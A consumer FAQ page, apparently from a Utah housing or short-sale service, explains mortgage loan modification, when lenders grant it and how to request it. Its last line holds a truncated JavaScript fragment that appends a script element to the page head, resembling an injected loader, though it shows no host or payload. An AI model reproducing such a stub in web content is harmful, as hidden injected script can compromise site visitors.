Facts About Loan Modification in Utah

What is a loan modification in Utah?

A loan modification is simply that, an agreement between you and you lender to modify the terms of your loan in one way or another. The terms of a loan that are most commonly modified are the interest rate or length of the loan. For example: lets say you have a loan that is at 6.75%. Your lender may agree to reduce that interest rate to 4.25% which would reduce your monthly payment by a certain amount depending on the amount of the loan.

When is a loan modification an option?

Loan modification may be an option for homeowners who are delinquent in mortgage payments or who are having trouble making payments and face delinquency soon. Each lender will have different criteria. If you meet the qualifying criteria, your monthly payments may be reduced with lowered interest and possibly an extended term of the loan. Generally speaking your lender is less likely to accept a request for a loan modification if you do not have the ability to continue making the payment after the modification takes place. For example: if you request a modification that will reduce your payment from $1250 to $1000 per month but you can only afford a payment of $800, your lender has little incentive to modify the loan as it will not solve the problem.

An ideal loan modification scenerio is when a Utah homeowner has faced a temporary financial hardship ie. temporary unemployment, illness, etc. but has now recovered from the harship. Although they may have fallen behind on payments and can’t make up the entire past due amount, if the lender is willing to work with them, they have the ability to continue making a lightly reduced monthly payment and a portion of the arrears over time.

Why would a lender consider a loan modification?

A lender would consider a modification in an attempt to avoid having to foreclosure on a home. Foreclosure is a very costly endeavor for the lender and if possible they will try to avoid it. Most borrowers who qualify for loan modification in Utah are already delinquent in payments, thus presenting a more compelling motivation for the lender to renegotiate the loan terms. One of the factors the lender will look at is the reason for your inability to make the current mortgage payments, such as loss of a job, health issue, etc. Other factors for qualification include the amount owed, the borrower’s equity in the property, and the ability to pay the renegotiated payments.

The lender is going to take the option that best serves its interests. Will they be best served by working out a modified loan or foreclosing on the property? If you have income and the ability to pay, lenders will usually be willing to negotiate. If your ability to pay is questionable, a Utah short sale on the property may be the best choice.

How do I request a loan modification?

If you think you may qualify for a loan modification in Utah, contact us for a free consultation so we can review your situation and help you identify if a loan modification is an option. We can refer you to a reputable attorney that specializes in loan modifications or give you guidance on how to request the loan modification yourself.d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {